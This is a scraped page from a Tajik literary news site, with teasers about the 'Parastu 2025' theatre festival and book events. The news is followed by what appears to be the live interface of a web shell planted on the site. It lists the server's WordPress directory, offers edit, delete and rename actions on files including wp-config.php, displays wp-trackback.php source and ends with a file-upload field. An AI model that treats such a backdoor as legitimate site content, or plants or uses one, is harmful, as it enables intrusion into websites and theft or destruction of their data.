36.2 C
Душанбе
- Таблиғ -spot_img

БАХШ

Хабарҳо

Натиҷагирӣ аз “Парасту–2025” ва эълони барандагони он

Рӯзи 21-уми апрел дар Намоишсарои опера ва балети Садриддин Айнӣ маросими натиҷагирӣ аз Ҷашнвораи саросарии намоишсарҳои ҳирфаӣ “Парасту – 2025” баргузор гардид, ки шоҳҷоизаи...

«Келини ҷойдорӣ» чӣ бурд дошт?

Мавҷи кафкӯбӣ, нидои хандаю шодӣ ва "офарин"-гӯиҳои тамошобинон намоиши "Келини ҷойдорӣ"-ро аз оғоз то анҷом ҳамроҳ буд. Намоиши мазкур аз ҷониби ҳунарпешагони Театри мазҳакаи...

«Ахтаре дар Хатлонзамин» дурахшида тавонист?

Мутахассисон аз намоиши таҳиянамудаи ҳайати эҷодии Театри мазҳака-мусиқии ба номи Сайдалӣ Вализодаи шаҳри Кӯлоб, ки рӯзи 17-уми апрел дар доираи Ҷашнвораи “Парасту – 2025”...

“Парасту – 2025”. “Ривояти суғдӣ” пешкаши бинандагон шуд

Ҳайати эҷодии Театри мусиқӣ-драмаи ноҳияи Данғара бо таҳияи намоиш аз рӯи асари нависандаи машҳур Сотим Улуғзода – “Ривояти суғдӣ” дӯстдорони театр ва мутахассисони соҳаро...

Намоиши асарҳои нигоришии марбут ба «Роғун» дар Душанбешаҳр

Рӯзи 15-уми апрел дар Осорхонаи миллии Тоҷикистон намоиши асарҳои нигоришӣ баргузор гардид, ки ба сохтмонсозии «Роғун» марбут аст. Намоиши мазкур зери унвони "«Роғун” –...

Устод Айнӣ ва адабу фарҳанги миллӣ

Рӯзи 15-уми апрел пас аз гулчанбаргузорӣ бар пайкараи бунёдгузори адабиёти муосири тоҷикӣ устод Садриддин Айнӣ дар Донишгоҳи миллии Тоҷикистон ҳамоиши илмию адабӣ зери унвони...

«Парасту» ба парвоз оғоз кард

Рӯзи 14-уми апрел дар Театри академии опера ва балети ба номи Садриддин Айнӣ маросими ифтитоҳи Ҷашнвора-озмуни саросарии театрҳои касбӣ – «Парасту 2025» баргузор гардид....

Шаҳрдор узви Иттифоқи нависандагонро иёдат кард

Абдухолиқ Холиқзода, шаҳрдори Панҷиканд дар ҳангоми сафари корӣ ба ҷамоати деҳоти Косатароши ин шаҳр шоир ва рӯзноманигор Шодӣ Сатторро иёдат кард. Тибқи иттилои дафтари матбуотии...

Тантанаҳои Ҷашнвораи китоби бачаҳо

Дар чаҳорчӯби Ҷашнвораи "Ҳафтаи китоби кӯдакон ва наврасон", ки бо ибтикори Вазорати фарҳанги Ҷумҳурии Тоҷикистон ҳамасола аз 2 то 9-уми апрел баргузор мегардад, шоирону...

Маҷмуаи  шоир ва тарҷумони тоҷик дар Миср ба чоп расид

Маҷмуаи “Шазарот” (Заррарезаҳо)-и шоир ва тарҷумони арабизабон Назруллоҳи Назар дар шаҳри Қоҳираи Ҷумҳурии арабии Миср чоп шуд. Дар ин бора сафҳаи фейсбукии нашриёти “Шамс”-и...
- Таблиғ -spot_img

Хабарҳои охир

Акси гӯё

Бахшҳо

Current Dir: /var/www/adab.tj/html/

[FILE] .htaccess [ edit | delete | rename ]
[FILE] index.php [ edit | delete | rename ]
[FILE] license.txt [ edit | delete | rename ]
[FILE] readme.html [ edit | delete | rename ]
[FILE] wordpress-6.7.1-ru_RU.zip [ edit | delete | rename ]
[FILE] wp-activate.php [ edit | delete | rename ]
[DIR]  wp-admin [ delete | rename ]
[FILE] wp-blog-header.php [ edit | delete | rename ]
[FILE] wp-comments-post.php [ edit | delete | rename ]
[FILE] wp-config-sample.php [ edit | delete | rename ]
[FILE] wp-config.php [ edit | delete | rename ]
[DIR]  wp-content [ delete | rename ]
[FILE] wp-cron.php [ edit | delete | rename ]
[DIR]  wp-includes [ delete | rename ]
[FILE] wp-links-opml.php [ edit | delete | rename ]
[FILE] wp-load.php [ edit | delete | rename ]
[FILE] wp-login.php [ edit | delete | rename ]
[FILE] wp-mail.php [ edit | delete | rename ]
[FILE] wp-settings.php [ edit | delete | rename ]
[FILE] wp-signup.php [ edit | delete | rename ]
[FILE] wp-trackback.php [ edit | delete | rename ]
[DIR]  www [ delete | rename ]
[FILE] xmlrpc.php [ edit | delete | rename ]

Viewing: /var/www/adab.tj/html/wp-trackback.php

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred. Default empty string.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$post_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$post_id = (int) $post_id[ count( $post_id ) - 1 ];
}

$trackback_url = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset       = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );

	// Validate the specified "sender" charset is available on the receiving site.
	if ( function_exists( 'mb_list_encodings' ) && ! in_array( $charset, mb_list_encodings(), true ) ) {
		$charset = '';
	}
}

if ( ! $charset ) {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( str_contains( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Escape values to use in the trackback.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$post_id = $posts[0]->ID;
}

if ( ! isset( $post_id ) || ! (int) $post_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $post_id ) );
	exit;
}

if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $post_id       Post ID related to the trackback.
	 * @param string $trackback_url Trackback URL.
	 * @param string $charset       Character set.
	 * @param string $title         Trackback title.
	 * @param string $excerpt       Trackback excerpt.
	 * @param string $blog_name     Site name.
	 */
	do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $post_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_id      = (int) $post_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $trackback_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
			$comment_post_id,
			$comment_author_url
		)
	);

	if ( $dupe ) {
		trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type'
	);

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );

	trackback_response( 0 );
}

Upload File: